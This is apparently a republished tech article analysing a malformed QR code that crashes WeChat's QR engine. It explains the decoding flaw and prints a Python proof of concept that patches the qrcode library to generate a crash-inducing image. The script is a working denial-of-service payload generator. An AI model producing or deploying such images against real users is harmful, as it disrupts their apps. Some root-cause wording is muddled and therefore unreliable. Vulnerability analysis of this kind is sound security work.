WeChat Crash via Malformed QR Code: Technical Analysis and Reproduction
Researchers discovered that a specially crafted QR code triggers a memory leak in WeChat’s OCR engine, causing the app to crash on both mobile and desktop platforms; the article explains the underlying bug, provides detailed decoding analysis, and shares Python code to reproduce the malformed QR code.
Introduction: a QR code circulating online causes WeChat to crash instantly when scanned or even when simply displayed in chat.
Observations: The crash occurs on iOS and macOS WeChat clients, while Windows version remains stable. The error message suggests a runtime exception and prompts an update.
Root cause analysis: The QR code triggers the WeChat QR engine, which automatically scans chat lists. The engine encounters a null‑pointer exception due to malformed data, leading to a memory leak and crash of the entire client. The same engine is used in other Tencent apps.
Technical details: The problematic QR code is a “malformed QR code” whose data blocks contain illegal patterns. Decoding the bitstream shows missing padding, an unexpected Alphanumeric mode with a character count of 313, and a final 8‑bit block that reads an invisible byte (\x9F). This causes the decoder to overrun.
OpenCV connection: The QR engine was open‑sourced in 2021 and merged into OpenCV (https://github.com/WeChatCV). The library’s libqbar.so crashes when processing the malformed data.
Reproduction code: The article provides a Python script using the qrcode library to generate a QR code that reproduces the crash. The script overrides the BitBuffer.put method to inject custom bits and saves the image as "crash.png".
import qrcode
from qrcode.util import QRData, MODE_8BIT_BYTE
NUM_BLOCKS = [19, 34, 55, 80, 108, 136, 156, 194, 232]
def tencent_crash_qrcode(message: str, filename='crash.png'):
def hack_put(self, num, length):
if num == 0:
num = 1
for i in range(length):
self.put_bit(((num >> (length - i - 1)) & 1) == 1)
data = message.encode('utf-8')
data_len = len(data)
version = 1
while version <= len(NUM_BLOCKS) and data_len + 3 > NUM_BLOCKS[version-1]:
version += 1
if version > len(NUM_BLOCKS):
raise Exception('message too long')
data += b' ' * (NUM_BLOCKS[version-1] - data_len - 3)
qr = qrcode.QRCode(version, qrcode.constants.ERROR_CORRECT_L)
comm_data = QRData(data, MODE_8BIT_BYTE)
hack_data = QRData(b'', MODE_8BIT_BYTE)
qr.add_data(comm_data, 0)
qr.add_data(hack_data, 0)
original_put = qrcode.util.BitBuffer.put
qrcode.util.BitBuffer.put = hack_put
qr.make_image().save(filename)
qrcode.util.BitBuffer.put = original_put
tencent_crash_qrcode('KFCVW50')Additional observations: The same issue affected a broader Tencent outage on March 29, leading to a company‑level incident and regulatory scrutiny.
Conclusion: By crafting a QR code that fills the data capacity without padding and injects an out‑of‑bounds length field, the WeChat QR engine can be forced to crash, highlighting a critical security flaw in the OCR implementation.
IT Services Circle
Delivering cutting-edge internet insights and practical learning resources. We're a passionate and principled IT media platform.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.